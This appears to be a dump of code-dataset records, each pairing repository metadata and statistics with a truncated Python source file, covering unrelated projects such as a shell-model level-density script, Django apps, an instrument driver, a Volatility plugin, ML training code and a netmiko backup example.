kshell/partial_level_density.py
ErlendLima/70Zn
1bf73adec5a3960e195788bc1f4bc79b2086be64
[ "MIT" ]
null
null
null
kshell/partial_level_density.py
ErlendLima/70Zn
1bf73adec5a3960e195788bc1f4bc79b2086be64
[ "MIT" ]
null
null
null
from __future__ import division import numpy as np import matplotlib.pyplot as plt import shellmodelutilities as smutil # Set bin width and range bin_width = 0.20 Emax = 14 Nbins = int(np.ceil(Emax/bin_width)) Emax_adjusted = bin_width*Nbins # Trick to get an integer number of bins bins = np.linspace(0,Emax_adjust...
34.927536
170
0.674274
0
0
0
0
0
0
0
0
748
0.310373
fe5b20986b78369a49dfb31999fcc5213f36f3e2
15,480
py
Python
tests/integration/test_provider_base.py
neuro-inc/platform-buckets-api
ba04edeb8565fa06e5af6d0316957a8816b087b2
[ "Apache-2.0" ]
null
null
null
tests/integration/test_provider_base.py
neuro-inc/platform-buckets-api
ba04edeb8565fa06e5af6d0316957a8816b087b2
[ "Apache-2.0" ]
55
2021-11-16T00:26:52.000Z
2022-03-29T03:16:55.000Z
tests/integration/test_provider_base.py
neuro-inc/platform-buckets-api
ba04edeb8565fa06e5af6d0316957a8816b087b2
[ "Apache-2.0" ]
null
null
null
import abc import secrets from collections.abc import AsyncIterator, Awaitable, Callable, Mapping from contextlib import AbstractAsyncContextManager, asynccontextmanager from dataclasses import dataclass from datetime import datetime, timezone import pytest from aiohttp import ClientSession from yarl import URL from ...
35.022624
88
0.655749
12,903
0.833527
324
0.02093
1,383
0.089341
13,562
0.876098
581
0.037532
fe5b28c8c0a814b5544650e3dacd259358d5495e
4,972
py
Python
sbpy/photometry/bandpass.py
jianyangli/sbpy
6b79cbea9bada89207fba17d02dc0c321fa46bf4
[ "BSD-3-Clause" ]
1
2017-11-28T02:58:51.000Z
2017-11-28T02:58:51.000Z
sbpy/photometry/bandpass.py
jianyangli/sbpy
6b79cbea9bada89207fba17d02dc0c321fa46bf4
[ "BSD-3-Clause" ]
null
null
null
sbpy/photometry/bandpass.py
jianyangli/sbpy
6b79cbea9bada89207fba17d02dc0c321fa46bf4
[ "BSD-3-Clause" ]
null
null
null
# Licensed under a 3-clause BSD style license - see LICENSE.rst """ sbpy bandpass Module """ __all__ = [ 'bandpass' ] import os from astropy.utils.data import get_pkg_data_filename def bandpass(name): """Retrieve bandpass transmission spectrum from sbpy. Parameters ---------- name : string ...
34.054795
75
0.377715
0
0
0
0
0
0
0
0
4,302
0.865245
fe5bf9f4fe33b1e74de5e5a8a91381afcd0d937c
576
py
Python
appserver/search/views.py
sinag/SWE574-Horuscope
9725dd356cbfd19f0ce88d4a208c872be765bd88
[ "MIT" ]
null
null
null
appserver/search/views.py
sinag/SWE574-Horuscope
9725dd356cbfd19f0ce88d4a208c872be765bd88
[ "MIT" ]
null
null
null
appserver/search/views.py
sinag/SWE574-Horuscope
9725dd356cbfd19f0ce88d4a208c872be765bd88
[ "MIT" ]
1
2020-08-07T12:54:51.000Z
2020-08-07T12:54:51.000Z
from django.http import HttpResponse from django.shortcuts import render, redirect from community.models import Community # Create your views here. def search_basic(request): communities = None if request.POST: community_query = request.POST.get('community_search', False) communities = Commun...
30.315789
88
0.744792
0
0
0
0
0
0
0
0
121
0.210069
fe5c54cf485f5924948c2f9e92bdf0e6152fda9f
1,566
py
Python
teams/migrations/0001_initial.py
Sudani-Coder/teammanager
857082bc14d7a783d2327b4e982edba7c061f303
[ "MIT" ]
null
null
null
teams/migrations/0001_initial.py
Sudani-Coder/teammanager
857082bc14d7a783d2327b4e982edba7c061f303
[ "MIT" ]
null
null
null
teams/migrations/0001_initial.py
Sudani-Coder/teammanager
857082bc14d7a783d2327b4e982edba7c061f303
[ "MIT" ]
null
null
null
# Generated by Django 3.1.2 on 2020-10-18 17:19 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='GameScore', fields=[ ('id', models.AutoFiel...
36.418605
141
0.541507
1,488
0.941176
0
0
0
0
0
0
261
0.165085
fe5c97158341c4d0d209389c3a2affb30b2d34bf
9,772
py
Python
qcodes_contrib_drivers/drivers/Oxford/ILM200.py
jenshnielsen/Qcodes_contrib_drivers
dc878cdd99a62f4643a62163a3a6341f98cee440
[ "MIT" ]
null
null
null
qcodes_contrib_drivers/drivers/Oxford/ILM200.py
jenshnielsen/Qcodes_contrib_drivers
dc878cdd99a62f4643a62163a3a6341f98cee440
[ "MIT" ]
2
2020-05-29T11:00:52.000Z
2020-10-09T06:18:11.000Z
qcodes_contrib_drivers/drivers/Oxford/ILM200.py
jenshnielsen/Qcodes_contrib_drivers
dc878cdd99a62f4643a62163a3a6341f98cee440
[ "MIT" ]
1
2020-04-24T01:15:44.000Z
2020-04-24T01:15:44.000Z
# OxfordInstruments_ILM200.py class, to perform the communication between the Wrapper and the device # Copyright (c) 2017 QuTech (Delft) # Code is available under the available under the `MIT open-source license <https://opensource.org/licenses/MIT>`__ # # Pieter Eendebak <pieter.eendebak@tno.nl>, 2017 # Takafumi Fujit...
32.144737
115
0.556283
9,227
0.944228
0
0
0
0
0
0
5,340
0.546459
fe5cdd0275ff0c38add8e228ff02333ee397a98c
4,417
py
Python
load_cifar_10.py
xgxofdream/CNN-Using-Local-CIFAR-10-dataset
8076056da58a5b564ded50f4cdb059585deb900d
[ "Apache-2.0" ]
null
null
null
load_cifar_10.py
xgxofdream/CNN-Using-Local-CIFAR-10-dataset
8076056da58a5b564ded50f4cdb059585deb900d
[ "Apache-2.0" ]
null
null
null
load_cifar_10.py
xgxofdream/CNN-Using-Local-CIFAR-10-dataset
8076056da58a5b564ded50f4cdb059585deb900d
[ "Apache-2.0" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt import pickle """ The CIFAR-10 dataset consists of 60000 32x32 colour images in 10 classes, with 6000 images per class. There are 50000 training images and 10000 test images. The dataset is divided into five training batches and one test batch, each with 10000 image...
36.808333
118
0.699796
0
0
0
0
0
0
0
0
1,562
0.353634
fe5d25adf1fa45402acfda5811c79b3110e5df76
3,054
py
Python
volatility3/framework/plugins/mac/lsmod.py
leohearts/volatility3
f52bd8d74fc47e63ea2611d0171b63dc589d4fdf
[ "Linux-OpenIB" ]
null
null
null
volatility3/framework/plugins/mac/lsmod.py
leohearts/volatility3
f52bd8d74fc47e63ea2611d0171b63dc589d4fdf
[ "Linux-OpenIB" ]
null
null
null
volatility3/framework/plugins/mac/lsmod.py
leohearts/volatility3
f52bd8d74fc47e63ea2611d0171b63dc589d4fdf
[ "Linux-OpenIB" ]
null
null
null
# This file is Copyright 2019 Volatility Foundation and licensed under the Volatility Software License 1.0 # which is available at https://www.volatilityfoundation.org/license/vsl-v1.0 # """A module containing a collection of plugins that produce data typically found in Mac's lsmod command.""" from volatility3.framewor...
34.704545
114
0.630321
2,469
0.808448
1,726
0.56516
1,870
0.612312
0
0
842
0.275704
fe5e44d3d94cf663368e7d42480218daf9100e40
16,722
py
Python
instahunter.py
Araekiel/instahunter
c07c10773bcf33bdc0d46b39a0dda3f55936b1f3
[ "MIT" ]
17
2020-09-06T18:10:51.000Z
2021-12-04T07:04:00.000Z
instahunter.py
Araekiel/instahunter
c07c10773bcf33bdc0d46b39a0dda3f55936b1f3
[ "MIT" ]
1
2020-09-30T18:43:10.000Z
2021-05-17T09:59:03.000Z
instahunter.py
Araekiel/instahunter
c07c10773bcf33bdc0d46b39a0dda3f55936b1f3
[ "MIT" ]
5
2020-11-10T15:08:37.000Z
2022-01-02T21:20:24.000Z
''' instahunter.py Author: Araekiel Copyright: Copyright © 2019, Araekiel License: MIT Version: 1.6.3 ''' import click import requests import json from datetime import datetime @click.group() def cli(): """Made by Araekiel | v1.6.3""" headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Inte...
59.297872
425
0.57224
0
0
0
0
16,251
0.971775
0
0
8,236
0.492495
fe5f1c04bf52b3ba6d57139fe21bba52f39a4f4c
6,901
py
Python
pyscf/prop/esr/uks.py
azag0/pyscf
1e3e27b61b3cfd22c9679d2c9851c13b3ebc5a1b
[ "Apache-2.0" ]
2
2021-08-03T12:32:25.000Z
2021-09-29T08:19:02.000Z
pyscf/prop/esr/uks.py
azag0/pyscf
1e3e27b61b3cfd22c9679d2c9851c13b3ebc5a1b
[ "Apache-2.0" ]
null
null
null
pyscf/prop/esr/uks.py
azag0/pyscf
1e3e27b61b3cfd22c9679d2c9851c13b3ebc5a1b
[ "Apache-2.0" ]
2
2020-06-01T05:31:38.000Z
2022-02-08T02:38:33.000Z
#!/usr/bin/env python # Copyright 2014-2019 The PySCF Developers. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # U...
36.707447
89
0.613534
608
0.088103
0
0
0
0
0
0
1,424
0.206347
fe5f635d76dff706767d5a4351544f241f8b385b
3,192
py
Python
examples/gather_demo.py
mununum/MAgent
7272cd726182280444597310d52369fac5e13e37
[ "MIT" ]
1
2021-06-22T10:22:26.000Z
2021-06-22T10:22:26.000Z
examples/gather_demo.py
mununum/MAgent
7272cd726182280444597310d52369fac5e13e37
[ "MIT" ]
null
null
null
examples/gather_demo.py
mununum/MAgent
7272cd726182280444597310d52369fac5e13e37
[ "MIT" ]
null
null
null
import random import magent from magent.builtin.rule_model import RandomActor import numpy as np def init_food(env, food_handle): tree = np.asarray([[-1,0], [0,0], [0,-1], [0,1], [1,0]]) third = map_size//4 # mapsize includes walls for i in range(1, 4): for j in range(1, 4): base = np...
28
87
0.580201
0
0
0
0
0
0
0
0
534
0.167293
fe605cdea9d8787846418bf36b3fc74d17111206
11,661
py
Python
corehq/apps/domain/deletion.py
shyamkumarlchauhan/commcare-hq
99df931bcf56e9fbe15d8fcb0dc98b5a3957fb48
[ "BSD-3-Clause" ]
null
null
null
corehq/apps/domain/deletion.py
shyamkumarlchauhan/commcare-hq
99df931bcf56e9fbe15d8fcb0dc98b5a3957fb48
[ "BSD-3-Clause" ]
null
null
null
corehq/apps/domain/deletion.py
shyamkumarlchauhan/commcare-hq
99df931bcf56e9fbe15d8fcb0dc98b5a3957fb48
[ "BSD-3-Clause" ]
null
null
null
import itertools import logging from datetime import date from django.apps import apps from django.conf import settings from django.db import connection, transaction from django.db.models import Q from dimagi.utils.chunked import chunked from corehq.apps.accounting.models import Subscription from corehq.apps.account...
41.646429
108
0.725924
1,759
0.150845
0
0
0
0
0
0
3,463
0.296973
fe609a5c6fba0b3499c6abf7b2ebbe251d3d8901
8,056
py
Python
icosphere/icosphere.py
JackWalpole/icosahedron
5317d8eb9509abe275beb2693730e3efaa986672
[ "MIT" ]
2
2017-10-02T23:36:49.000Z
2021-12-21T06:12:16.000Z
icosphere/icosphere.py
JackWalpole/icosphere
5317d8eb9509abe275beb2693730e3efaa986672
[ "MIT" ]
null
null
null
icosphere/icosphere.py
JackWalpole/icosphere
5317d8eb9509abe275beb2693730e3efaa986672
[ "MIT" ]
null
null
null
"""Subdivided icosahedral mesh generation""" from __future__ import print_function import numpy as np # following: http://blog.andreaskahler.com/2009/06/creating-icosphere-mesh-in-code.html # hierarchy: # Icosphere -> Triangle -> Point class IcoSphere: """ Usage: IcoSphere(level) Maximum supported level =...
37.64486
96
0.544067
6,577
0.81641
0
0
0
0
0
0
2,117
0.262786
fe60c7c64b76bb62e7927a82cb0d30249ff0793b
1,840
py
Python
src/main.py
Lidenbrock-ed/challenge-prework-backend-python
d2f46a5cf9ad649de90d4194d115cd9492eb583d
[ "MIT" ]
null
null
null
src/main.py
Lidenbrock-ed/challenge-prework-backend-python
d2f46a5cf9ad649de90d4194d115cd9492eb583d
[ "MIT" ]
null
null
null
src/main.py
Lidenbrock-ed/challenge-prework-backend-python
d2f46a5cf9ad649de90d4194d115cd9492eb583d
[ "MIT" ]
null
null
null
# Resolve the problem!! import string import random SYMBOLS = list('!"#$%&\'()*+,-./:;?@[]^_`{|}~') def generate_password(): # Start coding here letters_min = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','x','y','z'] letters_may = ['A','B','C','D','E','F','G','H...
27.058824
119
0.547283
0
0
0
0
0
0
0
0
301
0.163587
fe6109edbf02869c5f97fef83d0ae614ddf0da76
8,091
py
Python
targets/baremetal-sdk/curie-bsp/setup.py
ideas-detoxes/jerryscript
42523bd6e2b114755498c9f68fd78545f9b33476
[ "Apache-2.0" ]
4,324
2016-11-25T11:25:27.000Z
2022-03-31T03:24:49.000Z
targets/baremetal-sdk/curie-bsp/setup.py
ideas-detoxes/jerryscript
42523bd6e2b114755498c9f68fd78545f9b33476
[ "Apache-2.0" ]
2,099
2016-11-25T08:08:59.000Z
2022-03-12T07:41:20.000Z
targets/baremetal-sdk/curie-bsp/setup.py
lygstate/jerryscript
55acdf2048b390d0f56f12e64dbfb2559f0e70ad
[ "Apache-2.0" ]
460
2016-11-25T07:16:10.000Z
2022-03-24T14:05:29.000Z
#!/usr/bin/env python # Copyright JS Foundation and other contributors, http://js.foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2....
32.107143
113
0.66024
0
0
0
0
0
0
0
0
3,680
0.454826
fe6124434f4049e2a32ac1bce2dbe6c619c4fd73
222
py
Python
pythonteste/aula08a.py
genisyskernel/cursoemvideo-python
dec301e33933388c886fe78010f38adfb24dae82
[ "MIT" ]
1
2020-10-26T04:33:14.000Z
2020-10-26T04:33:14.000Z
pythonteste/aula08a.py
genisyskernel/cursoemvideo-python
dec301e33933388c886fe78010f38adfb24dae82
[ "MIT" ]
null
null
null
pythonteste/aula08a.py
genisyskernel/cursoemvideo-python
dec301e33933388c886fe78010f38adfb24dae82
[ "MIT" ]
null
null
null
from math import sqrt import emoji num = int(input("Digite um número: ")) raiz = sqrt(num) print("A raiz do número {0} é {1:.2f}.".format(num, raiz)) print(emoji.emojize("Hello World! :earth_americas:", use_aliases=True))
31.714286
71
0.707207
0
0
0
0
0
0
0
0
87
0.386667
fe613281281e5fa651291114e4bc822aff3309a5
2,001
py
Python
duke-cs671-fall21-coupon-recommendation/outputs/rules/RF/17_features/numtrees_30/rule_20.py
apcarrik/kaggle
6e2d4db58017323e7ba5510bcc2598e01a4ee7bf
[ "MIT" ]
null
null
null
duke-cs671-fall21-coupon-recommendation/outputs/rules/RF/17_features/numtrees_30/rule_20.py
apcarrik/kaggle
6e2d4db58017323e7ba5510bcc2598e01a4ee7bf
[ "MIT" ]
null
null
null
duke-cs671-fall21-coupon-recommendation/outputs/rules/RF/17_features/numtrees_30/rule_20.py
apcarrik/kaggle
6e2d4db58017323e7ba5510bcc2598e01a4ee7bf
[ "MIT" ]
null
null
null
def findDecision(obj): #obj[0]: Passanger, obj[1]: Weather, obj[2]: Time, obj[3]: Coupon, obj[4]: Coupon_validity, obj[5]: Gender, obj[6]: Age, obj[7]: Maritalstatus, obj[8]: Children, obj[9]: Education, obj[10]: Occupation, obj[11]: Income, obj[12]: Bar, obj[13]: Coffeehouse, obj[14]: Restaurant20to50, obj[15]: Direct...
37.754717
347
0.571714
0
0
0
0
0
0
0
0
1,225
0.612194
fe619b4bba8137e17d2356d7038bb205bbb3ddcb
8,074
py
Python
src/ralph/discovery/tests/plugins/samples/http_ibm_system_x.py
quamilek/ralph
bf7231ea096924332b874718b33cd1f43f9c783b
[ "Apache-2.0" ]
null
null
null
src/ralph/discovery/tests/plugins/samples/http_ibm_system_x.py
quamilek/ralph
bf7231ea096924332b874718b33cd1f43f9c783b
[ "Apache-2.0" ]
null
null
null
src/ralph/discovery/tests/plugins/samples/http_ibm_system_x.py
quamilek/ralph
bf7231ea096924332b874718b33cd1f43f9c783b
[ "Apache-2.0" ]
null
null
null
macs_response = '''<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer"><s:Header><wsa:To>http://schemas.xmlsoap.org...
621.076923
2,572
0.792172
0
0
0
0
0
0
0
0
7,973
0.987491
fe61ee9fb03a144ec04e2fb8220326b27f35be96
18,786
py
Python
main.py
AdrienCourtois/DexiNed
1198c043f4ed46efd7ad7bc77edf39ba66f0f3b1
[ "MIT" ]
null
null
null
main.py
AdrienCourtois/DexiNed
1198c043f4ed46efd7ad7bc77edf39ba66f0f3b1
[ "MIT" ]
null
null
null
main.py
AdrienCourtois/DexiNed
1198c043f4ed46efd7ad7bc77edf39ba66f0f3b1
[ "MIT" ]
null
null
null
from __future__ import print_function import argparse import os import time, platform import cv2 import torch import torch.optim as optim from torch.utils.data import DataLoader from datasets import DATASET_NAMES, BipedDataset, TestDataset, dataset_info from losses import * from model import DexiNed # from model0C ...
42.406321
121
0.524806
0
0
0
0
0
0
0
0
4,466
0.23773
fe62800d500daa91f541e4f0b0257370caac7c78
5,905
py
Python
src/core/build/pretreat_targets.py
chaoyangcui/test_developertest
151309bf6cdc7e31493a3461d3c7f17a1b371c09
[ "Apache-2.0" ]
null
null
null
src/core/build/pretreat_targets.py
chaoyangcui/test_developertest
151309bf6cdc7e31493a3461d3c7f17a1b371c09
[ "Apache-2.0" ]
null
null
null
src/core/build/pretreat_targets.py
chaoyangcui/test_developertest
151309bf6cdc7e31493a3461d3c7f17a1b371c09
[ "Apache-2.0" ]
1
2021-09-13T12:03:37.000Z
2021-09-13T12:03:37.000Z
#!/usr/bin/env python3 # coding=utf-8 # # Copyright (c) 2021 Huawei Device Co., Ltd. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
39.366667
78
0.573412
4,786
0.8105
0
0
0
0
0
0
1,568
0.265538
fe63a253f1cf19a404c6e2b601535edfb1888800
657
py
Python
tests/testapp/urls.py
lukaszbanasiak/django-contrib-comments
8a99ed810e9e94cb9dff1c362b2c4ebe2e37dead
[ "BSD-3-Clause" ]
1
2018-05-29T08:43:57.000Z
2018-05-29T08:43:57.000Z
tests/testapp/urls.py
lukaszbanasiak/django-contrib-comments
8a99ed810e9e94cb9dff1c362b2c4ebe2e37dead
[ "BSD-3-Clause" ]
null
null
null
tests/testapp/urls.py
lukaszbanasiak/django-contrib-comments
8a99ed810e9e94cb9dff1c362b2c4ebe2e37dead
[ "BSD-3-Clause" ]
1
2018-08-25T01:38:12.000Z
2018-08-25T01:38:12.000Z
from __future__ import absolute_import from django.conf.urls import patterns, url from django_comments.feeds import LatestCommentFeed from custom_comments import views feeds = { 'comments': LatestCommentFeed, } urlpatterns = patterns('', url(r'^post/$', views.custom_submit_comment), url(r'^flag/(\d+)...
26.28
105
0.692542
0
0
0
0
0
0
0
0
181
0.275495
fe6407132244604eabc2321eb05eb24333b3bd82
669
py
Python
pyTorch/utils.py
rajasekar-venkatesan/Deep_Learning
c375dab303f44043a4dc30ea53b298d7eca1d5a7
[ "MIT" ]
null
null
null
pyTorch/utils.py
rajasekar-venkatesan/Deep_Learning
c375dab303f44043a4dc30ea53b298d7eca1d5a7
[ "MIT" ]
null
null
null
pyTorch/utils.py
rajasekar-venkatesan/Deep_Learning
c375dab303f44043a4dc30ea53b298d7eca1d5a7
[ "MIT" ]
null
null
null
import pandas as pd, numpy as np from sklearn.preprocessing import OneHotEncoder author_int_dict = {'EAP':0,'HPL':1,'MWS':2} def load_train_test_data (num_samples=None): train_data = pd.read_csv('../data/train.csv') train_data['author'] = [author_int_dict[a] for a in train_data['author'].tolist()] ...
33.45
87
0.689088
0
0
0
0
0
0
0
0
136
0.203288
fe64404bf937356d7de814318a6e0bdf49ea36b3
6,987
py
Python
example/dec/dec.py
TheBurningCrusade/A_mxnet
fa2a8e3c438bea16b993e9537f75e2082d83346f
[ "Apache-2.0" ]
159
2016-08-23T22:13:26.000Z
2021-10-24T01:31:35.000Z
example/dec/dec.py
mrgloom/FaceDetection-ConvNet-3D
f9251c48eb40c5aec8fba7455115c355466555be
[ "Apache-2.0" ]
10
2016-08-23T05:59:07.000Z
2018-05-24T02:31:41.000Z
example/dec/dec.py
mrgloom/FaceDetection-ConvNet-3D
f9251c48eb40c5aec8fba7455115c355466555be
[ "Apache-2.0" ]
77
2016-08-21T00:35:00.000Z
2021-06-01T05:03:34.000Z
# pylint: skip-file import sys import os # code to automatically download dataset curr_path = os.path.dirname(os.path.abspath(os.path.expanduser(__file__))) sys.path = [os.path.join(curr_path, "../autoencoder")] + sys.path import mxnet as mx import numpy as np import data from scipy.spatial.distance import cdist from s...
44.788462
116
0.586232
5,645
0.807929
0
0
0
0
0
0
401
0.057392
fe646aafd2f602c63f8aacb84f51c78795b63990
7,537
py
Python
cctbx/maptbx/tst_target_and_gradients.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
cctbx/maptbx/tst_target_and_gradients.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
cctbx/maptbx/tst_target_and_gradients.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
from __future__ import division from cctbx.array_family import flex from cctbx import xray from cctbx import crystal from cctbx import maptbx from cctbx.maptbx import minimization from libtbx.test_utils import approx_equal import random from cctbx.development import random_structure from cctbx import sgtbx if (1): r...
36.235577
80
0.667109
0
0
0
0
0
0
0
0
507
0.067268
fe66e2796ab20353c3b7dbe7a834d55cb22ebb8a
1,212
py
Python
open_imagilib/matrix.py
viktor-ferenczi/open-imagilib
3e7328840d58fd49eda28490e9bddf91390b1981
[ "MIT" ]
2
2022-01-17T17:22:01.000Z
2022-01-22T13:11:33.000Z
open_imagilib/matrix.py
viktor-ferenczi/open-imagilib
3e7328840d58fd49eda28490e9bddf91390b1981
[ "MIT" ]
null
null
null
open_imagilib/matrix.py
viktor-ferenczi/open-imagilib
3e7328840d58fd49eda28490e9bddf91390b1981
[ "MIT" ]
null
null
null
""" LED matrix """ __all__ = ['Matrix'] from .colors import Color, on, off from .fonts import font_6x8 class Matrix(list): def __init__(self, source=None) -> None: if source is None: row_iter = ([off for _ in range(8)] for _ in range(8)) elif isinstance(source, list): row...
26.347826
89
0.487624
1,105
0.911716
0
0
0
0
0
0
86
0.070957
fe67c40ce9ecf1d76fc170ecd6e31ab09246551a
64
py
Python
prml/linear/_classifier.py
alexandru-dinu/PRML
acd823e098df67abe0306a70225e7539f8edda40
[ "MIT" ]
null
null
null
prml/linear/_classifier.py
alexandru-dinu/PRML
acd823e098df67abe0306a70225e7539f8edda40
[ "MIT" ]
null
null
null
prml/linear/_classifier.py
alexandru-dinu/PRML
acd823e098df67abe0306a70225e7539f8edda40
[ "MIT" ]
1
2019-06-22T20:56:02.000Z
2019-06-22T20:56:02.000Z
class Classifier(object): """Base class for classifiers."""
21.333333
37
0.6875
63
0.984375
0
0
0
0
0
0
33
0.515625
fe6806edfc8769087714d9060a7456450c7a5f90
1,608
py
Python
tests/env_config/test_base.py
DAtek/datek-app-utils
4783345d548bd85b1f6f99679be30b978e368e0e
[ "MIT" ]
null
null
null
tests/env_config/test_base.py
DAtek/datek-app-utils
4783345d548bd85b1f6f99679be30b978e368e0e
[ "MIT" ]
2
2022-02-05T12:15:03.000Z
2022-03-27T09:55:51.000Z
tests/env_config/test_base.py
DAtek/datek-app-utils
4783345d548bd85b1f6f99679be30b978e368e0e
[ "MIT" ]
null
null
null
from pytest import raises from datek_app_utils.env_config.base import BaseConfig from datek_app_utils.env_config.errors import InstantiationForbiddenError class SomeOtherMixinWhichDoesntRelateToEnvConfig: color = "red" class TestConfig: def test_iter(self, monkeypatch, key_volume, base_config_class): ...
28.714286
84
0.651741
1,446
0.899254
0
0
0
0
0
0
109
0.067786
fe68679524344d1cb6b9cfd2e5daf3c7c5e16099
1,704
py
Python
comprehend.py
korniichuk/cvr-features
ed3569222781258d4de242db3c9b51f19573bacb
[ "Unlicense" ]
null
null
null
comprehend.py
korniichuk/cvr-features
ed3569222781258d4de242db3c9b51f19573bacb
[ "Unlicense" ]
null
null
null
comprehend.py
korniichuk/cvr-features
ed3569222781258d4de242db3c9b51f19573bacb
[ "Unlicense" ]
null
null
null
# -*- coding: utf-8 -*- # Name: comprehend # Version: 0.1a2 # Owner: Ruslan Korniichuk # Maintainer(s): import boto3 def get_sentiment(text, language_code='en'): """Get sentiment. Inspects text and returns an inference of the prevailing sentiment (positive, neutral, mixed, or negative). Args: ...
32.150943
78
0.6473
0
0
0
0
0
0
0
0
1,275
0.748239
fe68c2686760a20f5158d8a2bc5c4a835377dc27
6,801
py
Python
mapclientplugins/argonsceneexporterstep/ui_configuredialog.py
Kayvv/mapclientplugins.argonsceneexporterstep
59b0b9cb15660c5747c1a7cba9da0e1eaf0bdf48
[ "Apache-2.0" ]
null
null
null
mapclientplugins/argonsceneexporterstep/ui_configuredialog.py
Kayvv/mapclientplugins.argonsceneexporterstep
59b0b9cb15660c5747c1a7cba9da0e1eaf0bdf48
[ "Apache-2.0" ]
null
null
null
mapclientplugins/argonsceneexporterstep/ui_configuredialog.py
Kayvv/mapclientplugins.argonsceneexporterstep
59b0b9cb15660c5747c1a7cba9da0e1eaf0bdf48
[ "Apache-2.0" ]
3
2021-07-26T00:53:24.000Z
2021-11-17T23:23:11.000Z
# -*- coding: utf-8 -*- ################################################################################ ## Form generated from reading UI file 'configuredialog.ui' ## ## Created by: Qt User Interface Compiler version 5.15.2 ## ## WARNING! All changes made in this file will be lost when recompiling UI file! ##########...
44.45098
113
0.723276
6,316
0.928687
0
0
0
0
0
0
1,094
0.160859
fe6923b1aa562920cf3b40c7be4c7dd797b7d3f4
1,039
py
Python
pbx_gs_python_utils/lambdas/utils/puml_to_slack.py
owasp-sbot/pbx-gs-python-utils
f448aa36c4448fc04d30c3a5b25640ea4d44a267
[ "Apache-2.0" ]
3
2018-12-14T15:43:46.000Z
2019-04-25T07:44:58.000Z
pbx_gs_python_utils/lambdas/utils/puml_to_slack.py
owasp-sbot/pbx-gs-python-utils
f448aa36c4448fc04d30c3a5b25640ea4d44a267
[ "Apache-2.0" ]
1
2019-05-11T14:19:37.000Z
2019-05-11T14:51:04.000Z
pbx_gs_python_utils/lambdas/utils/puml_to_slack.py
owasp-sbot/pbx-gs-python-utils
f448aa36c4448fc04d30c3a5b25640ea4d44a267
[ "Apache-2.0" ]
4
2018-12-27T04:54:14.000Z
2019-05-11T14:07:47.000Z
import base64 import tempfile import requests from osbot_aws.apis import Secrets from osbot_aws.apis.Lambdas import Lambdas def upload_png_file(channel_id, file): bot_token = Secrets('slack-gs-bot').value() my_file = { 'file': ('/tmp/myfile.png', open(file, 'rb'), 'png') } p...
28.081081
86
0.589028
0
0
0
0
0
0
0
0
218
0.209817
fe694e90c7ac984d467776f89ad0bcfbd5ee4819
2,131
py
Python
src/system_io/input.py
DeseineClement/bigdata-housing-classifier
aa864056c8b25217821f59d16c1ba5725c21a185
[ "MIT" ]
null
null
null
src/system_io/input.py
DeseineClement/bigdata-housing-classifier
aa864056c8b25217821f59d16c1ba5725c21a185
[ "MIT" ]
null
null
null
src/system_io/input.py
DeseineClement/bigdata-housing-classifier
aa864056c8b25217821f59d16c1ba5725c21a185
[ "MIT" ]
null
null
null
from sys import argv from getopt import getopt from os import R_OK, access from string import Template DEFAULT_DATASET_FILE_PATH = "dataset/data.csv" DEFAULT_DATASET_COLUMNS = ['surface (m2)', 'height (m)', 'latitude', 'housing_type', 'longitude', 'country_code', 'city'] DEFAULT_VISU = ["sca...
41.784314
120
0.633975
0
0
0
0
0
0
0
0
443
0.207884
fe6bf9a13a6fe5e608e3131b9e7d5730fd32e4d4
1,490
py
Python
netmiko/example7.py
Tes3awy/Ntemiko-Examples
b29aa3b0de14916f1ebac5b0f1ed7fe37d8740ba
[ "MIT" ]
3
2021-05-20T05:34:49.000Z
2022-02-14T03:35:10.000Z
netmiko/example7.py
Tes3awy/Ntemiko-Examples
b29aa3b0de14916f1ebac5b0f1ed7fe37d8740ba
[ "MIT" ]
null
null
null
netmiko/example7.py
Tes3awy/Ntemiko-Examples
b29aa3b0de14916f1ebac5b0f1ed7fe37d8740ba
[ "MIT" ]
2
2021-08-19T12:34:47.000Z
2022-03-28T15:48:55.000Z
# Must run example4.py first # Read an Excel sheet and save running config of devices using pandas import pandas as pd from netmiko import ConnectHandler # Read Excel file of .xlsx format data = pd.read_excel(io="Example4-Device-Details.xlsx", sheet_name=0) # Convert data to data frame df = pd.DataFrame(data=data) ...
31.702128
85
0.658389
0
0
0
0
0
0
0
0
748
0.502013
fe6cc530fb4e5b20aac699a77d75b91318a5ca68
2,385
py
Python
inference-engine/tests/ie_test_utils/functional_test_utils/layer_tests_summary/utils/constants.py
plaidml/openvino
e784ab8ab7821cc1503d9c5ca6034eea112bf52b
[ "Apache-2.0" ]
null
null
null
inference-engine/tests/ie_test_utils/functional_test_utils/layer_tests_summary/utils/constants.py
plaidml/openvino
e784ab8ab7821cc1503d9c5ca6034eea112bf52b
[ "Apache-2.0" ]
105
2020-06-04T00:23:29.000Z
2022-02-21T13:04:33.000Z
inference-engine/tests/ie_test_utils/functional_test_utils/layer_tests_summary/utils/constants.py
mpapaj/openvino
37b46de1643a2ba6c3b6a076f81d0a47115ede7e
[ "Apache-2.0" ]
1
2020-10-23T06:45:11.000Z
2020-10-23T06:45:11.000Z
